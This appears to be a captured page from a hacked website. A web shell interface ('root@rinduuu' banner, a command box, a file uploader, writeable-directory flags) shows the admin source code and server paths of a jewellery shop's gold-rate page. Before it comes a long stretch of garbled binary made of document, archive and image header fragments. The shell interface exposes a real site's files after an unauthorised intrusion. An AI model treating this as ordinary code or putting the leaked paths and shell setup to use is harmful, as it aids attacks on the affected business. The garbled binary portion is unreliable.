œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/gold_rates.php
<?php include "common/header.php"; ?>
<?php
include 'connection/config.php';

// ---------- CREATE / UPDATE 24K ----------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_rate'])) {
    $price_24k = floatval(trim($_POST['price_24k']));
    $effective_date = trim($_POST['effective_date']);

    if (!empty($price_24k) && !empty($effective_date)) {
        try {
            // Check if 24K exists
            $stmt = $pdo->prepare("SELECT id FROM gold_rates WHERE purity='24KT'");
            $stmt->execute();
            $existing = $stmt->fetch();

            if ($existing) {
                // UPDATE 24K
                $stmt = $pdo->prepare("UPDATE gold_rates SET price_per_gram=:price, effective_date=:effective_date WHERE id=:id");
                $stmt->execute([
                    'price' => $price_24k,
                    'effective_date' => $effective_date,
                    'id' => $existing['id']
                ]);

                $swal_message = 'updated';
            } else {
                // INSERT 24K
                $stmt = $pdo->prepare("INSERT INTO gold_rates (purity, price_per_gram, effective_date) VALUES ('24KT', :price, :effective_date)");
                $stmt->execute([
                    'price' => $price_24k,
                    'effective_date' => $effective_date
                ]);

                $swal_message = 'added';
            }

            echo "<script>
                    localStorage.setItem('swal_message','{$swal_message}');
                    window.location.href='gold_rates.php';
                  </script>";
            exit;

        } catch (PDOException $e) {
            echo "<script>
                    localStorage.setItem('swal_message','error');
                    window.location.href='gold_rates.php';
                  </script>";
            exit;
        }
    } else {
        echo "<script>
                localStorage.setItem('swal_message','empty');
                window.location.href='gold_rates.php';
              </script>";
        exit;
    }
}

// ---------- READ 24K ----------
$stmt = $pdo->query("SELECT * FROM gold_rates WHERE purity='24KT' LIMIT 1");
$rate_24k = $stmt->fetch();

// ---------- Karat ratios ----------
$karat_ratios = [
    '24KT' => 1,
    '22KT' => 22 / 24,
    '18KT' => 18 / 24,
    '14KT' => 14 / 24,
    '9KT'  => 9 / 24
];

// Ensure $editRate is defined to avoid undefined variable notice
$editRate = !empty($rate_24k);
?>

<!-- ==================================================== -->
<div class="page-content">
     <div class="container-xxl"> 
          <form method="POST" action="">
               <div class="row">
                    <div class="col-xl-12 col-lg-12">
                         <div class="card">
                              <div class="card-header">
                                   <h4 class="card-title"><?= $editRate ? "Edit Gold Rate" : "Add Gold Rate" ?></h4>
                              </div>
                              <div class="card-body">
                                   <div class="row">
                                       <div class="col-lg-6">
                                           <div class="mb-3">
                                               <label for="price_24k" class="form-label">24K Price per Gram</label>
                                               <input type="number" step="0.01" id="price_24k" name="price_24k" class="form-control"
                                                      placeholder="Enter 24K price" value="<?= htmlspecialchars($rate_24k['price_per_gram'] ?? '') ?>" required>
                                           </div>
                                       </div>
                                       <div class="col-lg-6">
                                           <div class="mb-3">
                                               <label for="effective_date" class="form-label">Effective Date</label>
                                               <input type="date" id="effective_date" name="effective_date" class="form-control"
                                                      value="<?= htmlspecialchars($rate_24k['effective_date'] ?? date('Y-m-d')) ?>" required>
                                           </div>
                                       </div>
                                   </div>

                                   <div class="row mt-2">
                                       <div class="col-lg-12">
                                           <button type="submit" name="save_rate" class="btn btn-primary">
                                               <?= $editRate ? "Update Rate" : "Save Rate" ?>
                                           </button>
                                       </div>
                                   </div>
                              </div>
                         </div>
                    </div>
               </div>
          </form>

          <div class="row">
               <div class="col-xl-12">
                    <div class="card">
                         <div class="card-header d-flex justify-content-between align-items-center gap-1">
                              <h4 class="card-title flex-grow-1">All Gold Rates</h4>
                         </div>
                         <div>
                              <div class="table-responsive">
                                   <table class="table align-middle mb-0 table-hover table-centered">
                                        <thead class="bg-light-subtle">
                                            <tr>
                                                <th>Karat</th>
                                                <th>Price per Gram</th>
                                                <th>Price for 10g</th>
                                                <th>Effective Date</th>
                                            </tr>
                                        </thead> 
                                        <tbody>
                                        <?php
                                        if (!empty($rate_24k)) {
                                            foreach ($karat_ratios as $kt => $ratio) {
                                                $price_per_gram = round($rate_24k['price_per_gram'] * $ratio, 2);
                                                $price_10g = round($price_per_gram * 10, 2); // price for 10 grams
                                                $date = $rate_24k['effective_date'];
                                                echo "<tr>
                                                        <td>{$kt}</td>
                                                        <td>{$price_per_gram}</td>
                                                        <td>{$price_10g}</td>
                                                        <td>{$date}</td>
                                                      </tr>";
                                            }
                                        } else {
                                            echo "<tr><td colspan='4' class='text-center'>No 24K rate found. Please add 24K gold rate.</td></tr>";
                                        }
                                        ?>
                                        </tbody>
                                   </table>
                              </div>
                         </div>
                    </div>
               </div>
          </div> 
     </div>

<?php include "common/footer.php" ?>
</div>

<!-- SweetAlert -->
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
document.addEventListener("DOMContentLoaded", function() {
    const swalMsg = localStorage.getItem("swal_message");
    if (swalMsg) {
        if (swalMsg === "added") {
            Swal.fire("Success!", "Gold rate added successfully!", "success");
        } else if (swalMsg === "updated") {
            Swal.fire("Success!", "Gold rate updated successfully!", "success");
        } else if (swalMsg === "deleted") {
            Swal.fire("Deleted!", "Gold rate deleted successfully!", "success");
        } else if (swalMsg === "empty") {
            Swal.fire("Oops!", "Please fill all fields.", "warning");
        } else if (swalMsg === "error") {
            Swal.fire("Error!", "Something went wrong.", "error");
        }
        localStorage.removeItem("swal_message");
    }
});
</script>

<!-- Vendor Javascript -->
<script src="assets/js/vendor.js"></script>
<script src="assets/js/app.js"></script>
</body>
</html>

........